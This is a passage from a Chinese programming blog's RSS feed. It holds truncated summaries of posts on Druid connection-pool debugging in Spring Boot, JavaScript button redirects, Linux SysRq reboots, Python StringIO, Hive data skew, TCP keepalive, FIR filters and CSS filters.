      <description>一、前言 记录一次服务假死的整个排查过程，服务基础为spring boot + druid + 多数据源切换，在请求过多（尤其是长事务请求）时，服务出现请求无响应的状况，之前未完结的查询也没有任何返回结果。&#xA;二、定位问题原因 问题出现时，表现如下图，后台无任何报错，sql语句戛然而止，后续的查询被中断。这时如果再次发起某个请求，后台服务处于大部分时间不能收到新的请求的状态，或者偶尔可收到请求但不会执行crud。经过一段时间后，日志输出了session校验的内容，此时我推测服务并不是真的宕机，而是处于假死状态。&#xA;druid配置如下&#xA;看了下配置文件，最大连接池数量设置为100，但重现问题的过程不需要特别多的请求，稳妥起见，将最大数量改为200，问题没有解决，初步推测不是因为请求达到了连接池上限。&#xA;CPU和内存均无异常。&#xA;期间还优化过业务逻辑，甚至将同步请求改为异步请求，都无济于事。一筹莫展之际，想起了druid自带的监控功能。打开监控页面，找到了一处令我怀疑的地方。数据源中的逻辑打开和逻辑关闭次数起初是一致的，随着查询次数增多，逻辑关闭次数小于逻辑打开次数，于是我怀疑数据库连接池出现了泄露的情况，根据URI监控中显示的情况，jdbc出错数刚好等于逻辑打开与逻辑关闭次数的差，也就是说，很有可能由于jdbc出错导致数据库连接池未正确关闭。&#xA;（图片为部分截图，下面还有个1没有截到） 按着这个思路，对测试部分代码进行了排查，无果。后来根据druid官方的文档，找到了下面这段话。&#xA;从这段话中可以看出，判断是否是泄露应该在URI监控中，点击URI进入详情页面，查看打开和关闭的数量是否相等。于是我在逻辑连接打开和逻辑连接关闭次数有巨大差异的情况下，对每一个URI都进行了核查，所有URI详情中，连接池获取连接次数都是等于连接池关闭连接次数的，理论上证明数据库连接池并无泄露。&#xA;前面图中druid的文档中还提到了removeAbandoned等三个属性用以检测数据库连接池泄露，于是我将这三个属性写在了yml里。&#xA;一通华丽丽的操作下来，服务依旧被玩坏，然后打开了druid的监控，找到了数据源页面中的ActiveConnectionStackTrace。点开，没数据？？？控制台也没输出日志？？？ 网上找了一些文章，然后大胆的怀疑是不是druid的配置没生效？再看一下druid运行时的数据源，果不其然。初始化连接大小、最小空闲连接数、最大连接数、超时时间等等等等，除了数据库指向是生效的，其他配置使用的都是缺省值。所以我即使把最大数量从100改成了200，依然是没几个请求就爆炸了。&#xA;三、解决方案 下面开始着手解决配置没生效的问题。由于项目是多数据源切换，于是找到了这个配置文件，尝试着改造了一下，将yml中的配置set到了DruidDataSource对象中。&#xA;（下图仅展示了与本文有关的内容） @Configuration public class DruidConfig { @Value(&#34;${spring.datasource.druid.initial-size}&#34;) private int initialSize; @Value(&#34;${spring.datasource.druid.min-idle}&#34;) private int minIdle; @Value(&#34;${spring.datasource.druid.max-active}&#34;) private int maxActive; @Value(&#34;${spring.datasource.druid.max-wait}&#34;) private int maxWait; @Value(&#34;${spring.datasource.druid.pool-prepared-statements}&#34;) private boolean poolPreparedStatements; @Value(&#34;${spring.datasource.druid.max-pool-prepared-statement-per-connection-size}&#34;) private int maxPoolPreparedStatementPerConnectionSize; @Value(&#34;${spring.datasource.druid.timeBetweenEvictionRunsMillis}&#34;) private int timeBetweenEvictionRunsMillis; @Value(&#34;${spring.datasource.druid.min-evictable-idle-time-millis}&#34;) private int minEvictableIdleTimeMillis; @Value(&#34;${spring.datasource.druid.test-while-idle}&#34;) private boolean testWhileIdle; @Value(&#34;${spring.datasource.druid.test-on-borrow}&#34;) private boolean testOnBorrow; @Value(&#34;${spring.datasource.druid.test-on-return}&#34;) private boolean testOnReturn; @Value(&#34;</description>
    </item>
    <item>
      <title>JavaScript学习笔记： 1 按钮点击事件 onclick不跳转的情况 2 window location href 不跳转的情况</title>
      <link>https://bchobby.github.io/posts/2abdefa18454beff5291e2a25eb9040a/</link>
      <pubDate>Tue, 21 Apr 2020 00:11:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2abdefa18454beff5291e2a25eb9040a/</guid>
      <description>1）按钮点击事件 onclick不跳转的情况&#xA;给button添加type=“button”，button标签的type默认属性值是submit,不设置默认行为是提交表单，例如下面两个实例，实例1点击按钮时是不会执行跳转的，实例2才会正常跳转到1.html&#xA;下面两个实例：&#xA;实例1：&#xA;&amp;lt;button type=&#34;submit&#34; onclick=&#34;window.location.href=&#39;1.html&#39;&#34;&amp;lt;/button&amp;gt; 实例2：&#xA;&amp;lt;button type=&#34;button&#34; onclick=&#34;window.location.href=&#39;1.html&#39;&#34;&amp;lt;/button&amp;gt; 2）window.location.href 不跳转的情况&#xA;以下是登录按钮的跳转事件，在ajax中window.location.href 不跳转也要看看自己的登录按钮 的type类型 要改成 type=&#34;button&#34;</description>
    </item>
    <item>
      <title>Linux：死机后如何安全重启</title>
      <link>https://bchobby.github.io/posts/d7d512f9083f7188102ec5492b5655cc/</link>
      <pubDate>Mon, 20 Apr 2020 16:51:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7d512f9083f7188102ec5492b5655cc/</guid>
      <description>使用方法&#xA;按住alt和SysRq键的同时，再输入reisub,输入完b之后，系统自动重启。&#xA;指令说明&#xA;按住art和SysRq键时，输入的一切都会直接交给Linux内核来处理。&#xA;reisub中的每一个字母都是一个独立操作，他们分别表示：&#xA;Alt+SysRq+R 把键盘从X手中夺过来&#xA;Alt+SysRq+E 终结所有进程&#xA;Alt+SysRq+I 强制关闭所有进程&#xA;Alt+SysRq+S 同步所有挂载的文件系统&#xA;Alt+SysRq+U 重新挂载所有的文件系统为只读&#xA;Alt+SysRq+B 重启&#xA;记忆方式：busier的倒序！&#xA;服务器网络太差只能在自己的小笔记本上编译，结果笔记本死翘翘了，只好重启了，硬关机是在有点粗暴，于是使用上述方法，尽量优雅些。。。</description>
    </item>
    <item>
      <title>python3中StringIO和BytesIO使用方法和使用场景详解</title>
      <link>https://bchobby.github.io/posts/1aabf040c1d5eecbe9921115265f78bc/</link>
      <pubDate>Mon, 20 Apr 2020 16:23:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1aabf040c1d5eecbe9921115265f78bc/</guid>
      <description>说起IO，很多人首先想到的是磁盘中的文件，将磁盘中的文件读到内存以及内存内容写入文件。但是还有一种内存和内存之间的IO，叫类文件对象，这一篇我们就一起来学习下python中的两个类文件对象：StringIO和BytesIO。&#xA;我是T型人小付，一位坚持终身学习的互联网从业者。喜欢我的博客欢迎在csdn上关注我，如果有问题欢迎在底下的评论区交流，谢谢。&#xA;文章目录 内存中的IO操作环境标志位StringIOBytesIO总结 内存中的IO 首先必须要搞清一个问题，就是为什么要有内存级别的IO？&#xA;之前说的磁盘上的文件，就是将数据持久化到磁盘的一块区域，供后面重复使用。其优点就是持久化稳定不丢失，但是缺点也很明显，就是每次要使用都要从磁盘读入，相对内存而言很缓慢。&#xA;如果只是短时间的重复利用，并不希望长期持久化，而且对速度的要求比较高，这时候就可以考虑缓存。说到缓存，很多朋友就想到redis，熟悉python的朋友还会想到装饰器和闭包函数。&#xA;不过python已经原生为我们准备好了类文件对象（file-like object），这种对象在内存中创建，可以像文件一样被操作。&#xA;下面我们就来学习下两种类文件对象，StringIO和BytesIO。&#xA;操作环境 以下操作基于Python3.7。&#xA;因为python3中将StringIO和BytesIO都集成到了io模块中，导入方式和python2不同，这个要注意。&#xA;标志位 内存中的对象有一个标志位的概念，往里面写入，标志位后移到下一个空白处。而读数据的时候是从标志位开始读，所以想要读取前面的数据需要手动将标志位进行移动。在下面的操作中我们会看到。&#xA;StringIO 看名字就大概能猜到，这种类文件对象是用来存储字符串的。&#xA;新建一个StringIO对象&#xA;In [1]: from io import StringIO In [2]: s=StringIO() In [3]: type(s) Out[3]: _io.StringIO 写入一些字符串&#xA;In [6]: s.write(&#39;this\nis\na\ngreat\nworld!&#39;) Out[6]: 22 In [7]: s.read() Out[7]: &#39;&#39; 可以看到尝试读取的时候返回为空，这就是上面提到的标志位的原因。因为此时write以后标志位跑到了第23字节，所以再往后读取就是空值。&#xA;将标志位移动到最前面再尝试读取，就能成功了&#xA;In [11]: s.seek(0) Out[11]: 0 In [12]: s.read() Out[12]: &#39;this\nis\na\ngreat\nworld!&#39; 但是获取全部值方法不受这个标志位影响&#xA;In [13]: s.read() Out[13]: &#39;&#39; In [14]: s.getvalue() Out[14]: &#39;this\nis\na\ngreat\nworld!&#39; 除了一次读取全部内容，还可以\n为分界读取单行&#xA;In [15]: s.</description>
    </item>
    <item>
      <title>hive数据倾斜</title>
      <link>https://bchobby.github.io/posts/3ab0bc9272929e880dae36ed9529426e/</link>
      <pubDate>Mon, 20 Apr 2020 11:56:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ab0bc9272929e880dae36ed9529426e/</guid>
      <description>hive数据倾斜 目录&#xA;1、什么是数据倾斜？&#xA;2、Hadoop 框架的特性&#xA;3、主要表现&#xA;4、容易数据倾斜情况&#xA;5、产生数据倾斜的原因&#xA;6、业务场景&#xA;（1）空值产生的数据倾斜&#xA;（2）不同数据类型关联产生数据倾斜&#xA;（3）大小表关联查询产生数据倾斜&#xA;1、什么是数据倾斜？ 由于数据分布不均匀，造成数据大量的集中到一点，造成数据热点&#xA;2、Hadoop 框架的特性 A、不怕数据大，怕数据倾斜&#xA;B、Jobs 数比较多的作业运行效率相对比较低，如子查询比较多&#xA;C、 sum,count,max,min 等聚集函数，通常不会有数据倾斜问题&#xA;3、主要表现 任务进度长时间维持在 99%或者 100%的附近，查看任务监控页面，发现只有少量 reduce 子任务未完成，因为其处理的数据量和其他的 reduce 差异过大。 单一 reduce 处理的记录数和平均记录数相差太大，通常达到好几倍之多，最长时间远大 于平均时长。&#xA;4、容易数据倾斜情况 A、group by 不和聚集函数搭配使用的时候&#xA;B、count(distinct)，在数据量大的情况下，容易数据倾斜，因为 count(distinct)是按 group by 字段分组，按 distinct 字段排序&#xA;C、 小表关联超大表 join&#xA;5、产生数据倾斜的原因 A：key 分布不均匀&#xA;B：业务数据本身的特性&#xA;C：建表考虑不周全&#xA;D：某些 HQL 语句本身就存在数据倾斜&#xA;6、业务场景 （1）空值产生的数据倾斜 场景说明&#xA;在日志中，常会有信息丢失的问题，比如日志中的 user_id，如果取其中的 user_id 和用户表中的 user_id 相关联，就会碰到数据倾斜的问题。&#xA;解决方案 解决方案 1：user_id 为空的不参与关联</description>
    </item>
    <item>
      <title>python 格式化字符串报错：TypeError: not all arguments converted during string formatting</title>
      <link>https://bchobby.github.io/posts/ed68ba5227aba6116b5b4902b1395653/</link>
      <pubDate>Sun, 19 Apr 2020 14:16:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed68ba5227aba6116b5b4902b1395653/</guid>
      <description>python 格式化字符串报错：TypeError: not all arguments converted during string formatting 最近在将数据写入数据库的时候，sql报错，TypeError: not all arguments converted during string formatting，&#xA;字面意思为：所有参数在格式化时未能格式化。首先，我们要明确，格式化字符串是为了将变量按照定义的格式添加到原有字符串从而生成一个新的字符串，也就是说，有这么几个条件，第一，一个变量，第二，原字符串，第三，原字符串加变量生成新的字符串。代码演示：&#xA;a=(&#39;a&#39;,&#39;b&#39;) print(type(a)) print(&#39;woxiang %s&#39; % a) #运行结果： #print(&#39;woxiang %s&#39; % a) #TypeError: not all arguments converted during string formatting #首先定义了一个变量a，变量a的格式为&amp;lt;class &#39;tuple&#39;&amp;gt; #原字符串‘woxiang’后想添加变量生成一个新的字符串，很显然，元组是有两个元素， #占位符%s只占了一个位置，另一个元素无处安放了，因此报错。那么，这个问题怎么解决呢？ #显然，有多少个元素，就放几个占位符%s即可，中间以，隔开即可 a=(&#39;a&#39;,&#39;b&#39;) print(type(a)) print(&#39;woxiang %s%s&#39; % a)： #运行结果： &amp;lt;class &#39;tuple&#39;&amp;gt; woxiang ab #那，如果是三个或者四个元素的元组呢？很显然，有几个元素，放几个占位符 #也就是n个元素放n个占位符 b=(&#39;aa&#39;,&#39;cc&#39;,&#39;dd&#39;) print(&#39;woxiang %s,%s,%s&#39; %b) #运行结果： #woxiang aa,cc,dd 会不会有第二种方法呢？当然有，这种方法是将整个元组作为一个整体格式化，和上面的方法，将每个元素单独取出格式化是不一样的哦，也就是说效果是完全不一样的，切记。&#xA;下面依然是代码演示：&#xA;a=(&#39;a&#39;,&#39;b&#39;,1,&#39;c&#39;) print(type(a)) print(&#39;woxiang %s&#39; % (a,)) #运行结果： #&amp;lt;class &#39;tuple&#39;&amp;gt; #woxiang (&#39;a&#39;, &#39;b&#39;, 1, &#39;c&#39;) #切记，变量名用括号包裹，一定要加一个逗号，这样Python解释器才会将元组整体作为一个元素格式化 列表类型第一种方法是无效的，只能使用第二种方法，望牢记！！！！！！！！！！！！！</description>
    </item>
    <item>
      <title>Python本地时间与UTC时间转换</title>
      <link>https://bchobby.github.io/posts/f44646e5877ee3555aded569e3b168bf/</link>
      <pubDate>Sun, 19 Apr 2020 11:15:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f44646e5877ee3555aded569e3b168bf/</guid>
      <description>说明：python本地时间与UTC时间转换，程序中常用于日志或生成文件命名，待补充完善。&#xA;参考小例&#xA;# -*- coding: utf-8 -*- import time import datetime class TimeShift: def __init__(self): pass def get_utctime(self) -&amp;gt; datetime.datetime: utc_time = datetime.datetime.utcfromtimestamp(time.time()) return utc_time def utctime_format(self) -&amp;gt; str: &#39;&#39;&#39; 作用：datetime.datetime格式化成字符串，可用于文件命名 :return: str &#39;&#39;&#39; utc_fmt = self.get_utctime().strftime(&#34;%Y%m%d%H%M%S&#34;) return utc_fmt def get_localtime(self): local_time = datetime.datetime.now() return local_time def localtime_format(self): local_fmt = self.get_localtime().strftime(&#34;%Y%m%d%H%M%S&#34;) return local_fmt def utc2local(self, utc_st) -&amp;gt; datetime.datetime: &#39;&#39;&#39; 作用：将utc时间转换成本地时间 :return: 返回本地时间 &#39;&#39;&#39; now_stamp = time.time() local_time = datetime.datetime.fromtimestamp(now_stamp) utc_time = datetime.</description>
    </item>
    <item>
      <title>Linux bash 判断当前路径下的文件名是否含指定字符</title>
      <link>https://bchobby.github.io/posts/88b630d0b9105c6cedd8f259d9080630/</link>
      <pubDate>Sat, 18 Apr 2020 22:46:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88b630d0b9105c6cedd8f259d9080630/</guid>
      <description> 在bash中，使用“ =~ ”进行字符包含的判断。&#xA;看例子：&#xA;需求：判断路径中是否含zip压缩文件，若有则将其解压。&#xA;该需求需判断ls中的文件是否包含&#34;.zip&#34;关键字&#xA;首先使用&#xA;FILES=$(ls) 绑定当前路径下的文件名，存为list到FILES中&#xA;再使用for循环遍历 FILES&#xA;for FILE in $FILES do if [[ $FILE =~ &#34;.zip&#34; ]] then ZIP_FILE=$FILE echo &#34;zip file name: $ZIP_FILE&#34; unzip $ZIP_FILE fi done 完整代码：&#xA;#!/bin/bash FILES=$(ls) for FILE in $FILES do if [[ $FILE =~ &#34;.zip&#34; ]] then ZIP_FILE=$FILE echo &#34;zip file name: $ZIP_FILE&#34; unzip $ZIP_FILE fi done </description>
    </item>
    <item>
      <title>mac安装EasyConnect、mac使用EasyConnect，mac安装EasyConnectPlugin失败</title>
      <link>https://bchobby.github.io/posts/a8527b5e109c792fb473bfaeec1acad9/</link>
      <pubDate>Sat, 18 Apr 2020 19:37:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8527b5e109c792fb473bfaeec1acad9/</guid>
      <description>系统：MacOS Mojave 10.14.5&#xA;因为需要访问内网，刚上手Mac又没有安装这个软件，然后在EasyConnect官网下载安装后，发现竟然连不上，软件提示：”客户端版本与服务器不匹配，请更新“。接下来就开始了填坑之路，如标题所示。下面就说说我遇到的坑吧，如下：&#xA;1.mac安装EasyConnect，输入Ip后提示：“客户端版本与服务器不匹配，请更新 然后会出来这么个页面，下载安装包：EasyConnectPlugin插件。&#xA;下载完后，安装的过程中那么就可能会出现标题2的坑&#xA;2.mac安装EasyConnectPlugin失败 虽然安装失败了，但是依然会在应用程序下出现一个图标，还不支持双击打开。那么我都没有安装成功，何来网友说的在Safari中设置插件呢？何来的降级Safari 12 呢？而且降级Safar是有风险的。仔细一想，标题1中提示的是客户端和服务器不匹配，虽然我也不知道服务端是什么版本，但是应该有个版本能够保持一致的吧，然后依旧一波度娘。最终在深信服社区找到了一个可用的版本：&#34;提供临时的支持Mac OS10.15的EC客户端安装包，点击下载 密码: 0uni&#34;。&#xA;下载安装后，就可以登录了&#xA;登录成功后，会打开Safari自动跳转弹出如下页面，不用管他，也不需要下载，此时其实已经连上内网了。ps：我安装的是EasyConnect_for mac 10.15(M6.3-M7.5R1)&#xA;可以看到登录信息，那么应该连上了：&#xA;总结：说了这么多，这也不是什么技术文，其实就是找到了一个可用的软件而已😂😂，然后记录了一下自己填的坑，这可是困扰了两个星期了，差点就要装双系统了，重装开发环境了，害~ 好在现在解决了，如果哪位伙伴有最终的解决办法了，欢迎留言哈，不胜感激！</description>
    </item>
    <item>
      <title>Unity协程的返回值</title>
      <link>https://bchobby.github.io/posts/7cffb79e46cbba75cb200e15dd1e7488/</link>
      <pubDate>Sat, 18 Apr 2020 15:00:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7cffb79e46cbba75cb200e15dd1e7488/</guid>
      <description> 使用协程要引入的命名空间：using System.Collections;&#xA;unity 之协程返回值&#xA;yield return null; // 下一帧再执行后续代码 yield return 6;//(任意数字) 下一帧再执行后续代码 yield break; //直接结束该协程的后续操作 yield return asyncOperation;//等异步操作结束后再执行后续代码 yield return StartCoroution(/*某个协程*/);//等待某个协程执行完毕后再执行后续代码 yield return WWW();//等待WWW操作完成后再执行后续代码 yield return new WaitForEndOfFrame();//等待帧结束,等待直到所有的摄像机和GUI被渲染完成后，在该帧显示在屏幕之前执行 yield return new WaitForSeconds(0.3f);//等待0.3秒，一段指定的时间延迟之后继续执行，在所有的Update函数完成调用的那一帧之后（这里的时间会受到Time.timeScale的影响）; yield return new WaitForSecondsRealtime(0.3f);//等待0.3秒，一段指定的时间延迟之后继续执行，在所有的Update函数完成调用的那一帧之后（这里的时间不受到Time.timeScale的影响）; yield return WaitForFixedUpdate();//等待下一次FixedUpdate开始时再执行后续代码 yield return new WaitUntil()//将协同执行直到 当输入的参数（或者委托）为true的时候....如:yield return new WaitUntil(() =&amp;gt; frame &amp;gt;= 10); yield return new WaitWhile()//将协同执行直到 当输入的参数（或者委托）为false的时候.... 如:yield return new WaitWhile(() =&amp;gt; frame &amp;lt; 10); </description>
    </item>
    <item>
      <title>TCP长连接(KeepAlive)</title>
      <link>https://bchobby.github.io/posts/0819ec426dc61842306bc6fb0e071b65/</link>
      <pubDate>Fri, 17 Apr 2020 23:27:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0819ec426dc61842306bc6fb0e071b65/</guid>
      <description>转自：https://blog.csdn.net/chrisnotfound/article/details/80111559&#xA;1. TCP Keepalive的起源 TCP协议中有长连接和短连接之分。&#xA;短连接环境下，数据交互完毕后，主动释放连接；&#xA;长连接的环境下，进行一次数据交互后，很长一段时间内无数据交互时，客户端可能意外断电、死机、崩溃、重启，还是中间路由网络无故断开，这些TCP连接并未来得及正常释放，那么，连接的另一方并不知道对端的情况，它会一直维护这个连接，长时间的积累会导致非常多的半打开连接，造成端系统资源的消耗和浪费，且有可能导致在一个无效的数据链路层面发送业务数据，结果就是发送失败。所以服务器端要做到快速感知失败，减少无效链接操作，这就有了TCP的Keepalive（保活探测）机制。&#xA;2. TCP Keepalive工作原理 当一个 TCP 连接建立之后，启用 TCP Keepalive 的一端便会启动一个计时器，当这个计时器数值到达 0 之后（也就是经过tcp_keep-alive_time时间后），一个 TCP 探测包便会被发出。这个 TCP 探测包是一个纯 ACK 包（规范建议，不应该包含任何数据，但也可以包含1个无意义的字节，比如0x0。），其 Seq号 与上一个包是重复的，所以其实探测包报文不在窗口控制范围内。&#xA;如果一个给定的连接在两小时内（默认时长）没有任何的动作，则服务器就向客户发一个探测报文段，客户主机必须处于以下4个状态之一：&#xA;客户主机依然正常运行，并从服务器可达。客户的TCP响应正常，而服务器也知道对方是正常的，服务器在两小时后将保活定时器复位。&#xA;客户主机已经崩溃，并且关闭或者正在重新启动。在任何一种情况下，客户的TCP都没有响应。服务端将不能收到对探测的响应，并在75秒后超时。服务器总共发送10个这样的探测 ，每个间隔75秒。如果服务器没有收到一个响应，它就认为客户主机已经关闭并终止连接。&#xA;客户主机崩溃并已经重新启动。服务器将收到一个对其保活探测的响应，这个响应是一个复位，使得服务器终止这个连接。&#xA;客户机正常运行，但是服务器不可达，这种情况与2类似，TCP能发现的就是没有收到探测的响应。&#xA;对于linux内核来说，应用程序若想使用TCP Keepalive，需要设置SO_KEEPALIVE套接字选项才能生效。&#xA;三个重要的参数&#xA;tcp_keepalive_time，在TCP保活打开的情况下，最后一次数据交换到TCP发送第一个保活探测包的间隔，即允许的持续空闲时长，或者说每次正常发送心跳的周期，默认值为7200s（2h）。&#xA;tcp_keepalive_probes 在tcp_keepalive_time之后，没有接收到对方确认，继续发送保活探测包次数，默认值为9（次）&#xA;tcp_keepalive_intvl，在tcp_keepalive_time之后，没有接收到对方确认，继续发送保活探测包的发送频率，默认值为75s。&#xA;其他编程语言有相应的设置方法，这里只谈linux内核参数的配置。例如C语言中的setsockopt()函数，java的Netty服务器框架中也提供了相关接口。&#xA;3. TCP Keepalive作用 ① 探测连接的对方是否存活&#xA;在应用交互的过程中，可能存在以下几种情况：&#xA;（1）客户端或服务器意外断电，死机，崩溃，重启。&#xA;（2）中间网络已经中断，而客户端与服务器并不知道。&#xA;利用保活探测功能，可以探知这种对端的意外情况，从而保证在意外发生时，可以释放半打开的TCP连接。&#xA;② 防止中间设备因超时删除连接相关的连接表&#xA;中间设备如防火墙等，会为经过它的数据报文建立相关的连接信息表，并为其设置一个超时时间的定时器，如果超出预定时间，某连接无任何报文交互的话，&#xA;中间设备会将该连接信息从表中删除，在删除后，再有应用报文过来时，中间设备将丢弃该报文，从而导致应用出现异常。&#xA;4. 使用方法 结构体使用&#xA;struct tcp_keepalive { ULONG onoff ;//是否开启 keepalive ULONG keepalivetime ; //多长时间（ms）没有数据就开始心跳包 ULONG keepaliveinterval ; // 每隔多长时间（ms）发送一个心跳包， }; 这个结构体设置了空闲检测时间，及检测时重复发送的间隔时间。此外， tcp_keepalive 这个结构体中没有对重试次数这个参数的设置，这个参数可以通过注册表来设置，具体位置为：</description>
    </item>
    <item>
      <title>FIR滤波器工作原理及实现过程介绍</title>
      <link>https://bchobby.github.io/posts/aaee2140b9ff0ce22c48bdf579617507/</link>
      <pubDate>Fri, 17 Apr 2020 20:07:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aaee2140b9ff0ce22c48bdf579617507/</guid>
      <description>引言 在现代电子系统中，到处都可以看到数字信号处理（ DSP ）的应用，从MP3播放器、数码相机到手机。DSP设计人员的工具箱的支柱之一是有限脉冲响应（ FIR ）滤波器。FIR滤波器越长（有大量的抽头），滤波器的响应越好。然而这里有折衷的情况，由于大量的抽头增加了对逻辑的需求、增加了计算的复杂性，增加了功耗，以及可能引起饱和/溢出。&#xA;多相技术可以用于实现滤波器，拥有与传统FIR滤波器可比的结果，而且使用了较少的逻辑、需要较少的计算资源、更低的功耗，并减少了可能的饱和/溢出。可用如今新型的小规模、中档的FPGA，如LATTICEECP3 来实现这些滤波器。&#xA;基本概念 进入DSP世界可能会有些令人生畏，因此，让我们首先介绍一些简单的概念。对于数字系统，如音频，视频和无线领域，形成信号的结果是与采样率相关的。举例来说，以48 kHz（即每秒48000个样本）对专业音频信号进行采样。相比之下，消费者的CD播放机则使用44.1 kHz的采样率。&#xA;多速率系统 多速率系统使用多个采样速率。在某些情况下，运行于某个速率的系统的一部分需要一个原来以另外某个速率采样的信号（转换专业音频到消费者的CD音频就是一个例子）。在这种情况下，原始信号的速率必须根据需要增加或减少。&#xA;或者针对特定的用途，也可能以比实际需要更高的速率对原来的数据进行了采样。因此，降低采样率，然后运行所得到的数据就可以大幅度降低数据吞吐量的要求，降低对存储器的要求，提高处理效率并降低功耗。&#xA;向下采样和抽取 让我们首先考虑降低采样率的问题。假设我们有一个信号，原来以我们称之为fHz的某一频率进行采样，如如图1所示。&#xA;图1 用f Hz采样率对原始信号采样&#xA;现在假设我们要降低采样率至原来频率的1/4。达到此目的一个方法来就是简单地扔掉每四个原始采样中的三个，如图2所示。&#xA;图2 用1/4 f Hz采样率得到新的信号&#xA;在数字信号处理中， “混叠现象”是指采样时造成不同的连续信号彼此难以区分的情况，它们互相“混叠”。 混叠现象也称为失真，或赝品，即源于采样重构的信号不同于原来的连续信号。&#xA;如果我们丢弃了如上文所讨论的一些样本，由此得到的信号会含有混叠现象的赝品。作为一个简单的例子，考虑一个音频信号，可能含有人耳听不见的高频分量的乐曲。如果我们以过低的速率对这个信号采样（当我们丢弃一些样本时，实际上是我们正在做的事情），然后用数字模拟转换器重构这个乐曲，我们可以听到欠采样高频分量的低频混叠。&#xA;为了避免这种情况，常见的做法是在丢弃不想要的样本之前，用低通滤波器去除不要的高频，如图3所示。&#xA;图3 在丢弃任何样本前对这个信号进行滤波&#xA;一般而言， “向下采样”只是指丢弃样本的处理而不执行滤波的操作。相比之下， “抽取”指的是降低采样率的整个过程，即执行滤波操作，然后丢弃样本。实际上， “向下采样” 、“下变频”和“抽取”往往交替使用。&#xA;“抽取因子”是指输入采样率与输出采样率之比。通常用字母M来表示。在上面的例子中，输入速率是输出速率的4倍，所以M=4。&#xA;向上采样和内插 现在考虑的情况是，我们希望提高采样率。这样做的原因是为了使系统的另一部分与信号运行在更高的采样速率。假设我们从一个信号开始，即原来以我们称为fHz的某个频率进行采样的信号，如图4所示。&#xA;图4 采样率为f Hz的原始信号&#xA;现在假设我们要增加采样率为原来频率的4倍。我们开始在原始样本之间插入零值样本，以提高采样率，如图5所示。&#xA;图5 用零值样本对原始信号进行扩充&#xA;但现在有一个问题，因为新的零值样品添加了不要的频谱分量至信号。为了解决此问题，我们对这个新的信号进行了滤波，除去了不想要的分量，产生了更合适的采样值，如图6所示。&#xA;图6采样率为4倍 fHz的最终信号&#xA;从技术上讲， “ 向上采样 ”只是指插入零值样本的过程。相比之下， “内插”指的是增加采样率的整个过程，即插入零值样本，然后进行滤波操作1。实际上， “向上采样 ”、“向上转换”和“内插”往往交替使用。&#xA;“内插因子”指的是输出采样率对输入采样率的比例。这通常用字母L来表示。在上面的例子中，输出速率4倍于输入速率，因此，L = 4 。这个过程的图形说明参见图7。&#xA;图7 插入零值样本后对这个信号进行滤波&#xA;重采样 前面的讨论中，应该指出的是，抽取和内插因子可以假设为只有整数值。也就是说，我们只可以抽取或内插整数因子，而不是分数因子。例如，如果进行抽取，我们只能丢弃整数的样本（2个中的1个、3个中的1个、3个中的2个、3个4个中的3个，等等）。&#xA;假设我们要修改信号的采样率，以便在两个子系统之间进行接口。如果子系统的采样率的比率是一个整数值，那么我们只需要执行抽取或内插。但是，如果采样率的比率是一个分数值，那么我们需要进行抽取和内插的组合，这样的过程称之为重采样。&#xA;例如，如果用2.5因子进行重采样，首先我们用插值因子为5 ，然后用抽取因子2产生输出对输入采样率为5/2 = 2.5的采样率，如图8所示。</description>
    </item>
    <item>
      <title>CSS3 filter滤镜详解</title>
      <link>https://bchobby.github.io/posts/42bfa78fda0e90d46791ca5a73e21c8a/</link>
      <pubDate>Fri, 17 Apr 2020 18:11:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42bfa78fda0e90d46791ca5a73e21c8a/</guid>
      <description>CSS3 filter滤镜详解 文章目录 CSS3 filter滤镜详解1、filter:blur(px) 高斯模糊2、filter:brightness(%) 亮度调节3、filter:contrast(%) 对比度调节4、 filter:drop-shadow(offset-x offset-y blur spread color) 阴影设置5、filter:grayscale(%) 灰度6、filter:hue-rotate(deg) 应用色旋转7、filter:invert(%) 反转图像输入8、filter:opacity(%) 透明度9、filter:saturate(%) 饱和度10、filter:sepia(%) 褐色转化 因为filter是css3新属性，所以我们在介绍它之前先简单看一下它的兼容性（图片来源于菜鸟教程）： 那么我们开始介绍一下filter的几个属性： 1、filter:blur(px) 高斯模糊 这个属性很简单是给图像设置高斯模糊，括号中数值越大那么图像越模糊。&#xA;写个例子：&#xA;&amp;lt;style type=&#34;text/css&#34;&amp;gt; img{ height: 100px; width: 200px; } div{ filter: blur(3px); } &amp;lt;/style&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div&amp;gt; &amp;lt;img src=&#34;1.jpg&#34; &amp;gt; &amp;lt;span&amp;gt; 这是一张图片 &amp;lt;p&amp;gt;p标签&amp;lt;/p&amp;gt; &amp;lt;/span&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; 就如效果图上所显示的，这个属性会影响到这个标签下面所有的子代元素。&#xA;2、filter:brightness(%) 亮度调节 说简单点这个属性用于调节图像亮度，值位于0和1之间，默认是1（正常亮度），数值越小亮度越低，到达0时为黑色。&#xA;例：&#xA;div{ color: red; filter: brightness(50%); } 效果图如下：&#xA;html和上面相同，这里不做复制，看效果图就很容易理解，图像很明显变暗，字体颜色设置的红色，这里变成黑红，说明对子代同样有效。&#xA;3、filter:contrast(%) 对比度调节 这个属性调节的是图像当中的对比度，取值同brightness，为了我们看的更清晰，我换了一张图片，请看案例：&#xA;&amp;lt;style type=&#34;text/css&#34;&amp;gt; img{ height: 100px; width: 200px; } img:nth-of-type(2){ filter: contrast(50%)&#x9;; } div{ color: red; filter: brightness(50%); } &amp;lt;/style&amp;gt; &amp;lt;body&amp;gt; &amp;lt;p&amp;gt;原图&amp;lt;/p&amp;gt; &amp;lt;img src=&#34;</description>
    </item>
    <item>
      <title>Fiddler抓包</title>
      <link>https://bchobby.github.io/posts/c550f084cbc3bbd7a3b060ec29814ed2/</link>
      <pubDate>Fri, 17 Apr 2020 15:43:46 +0800</pubDate>
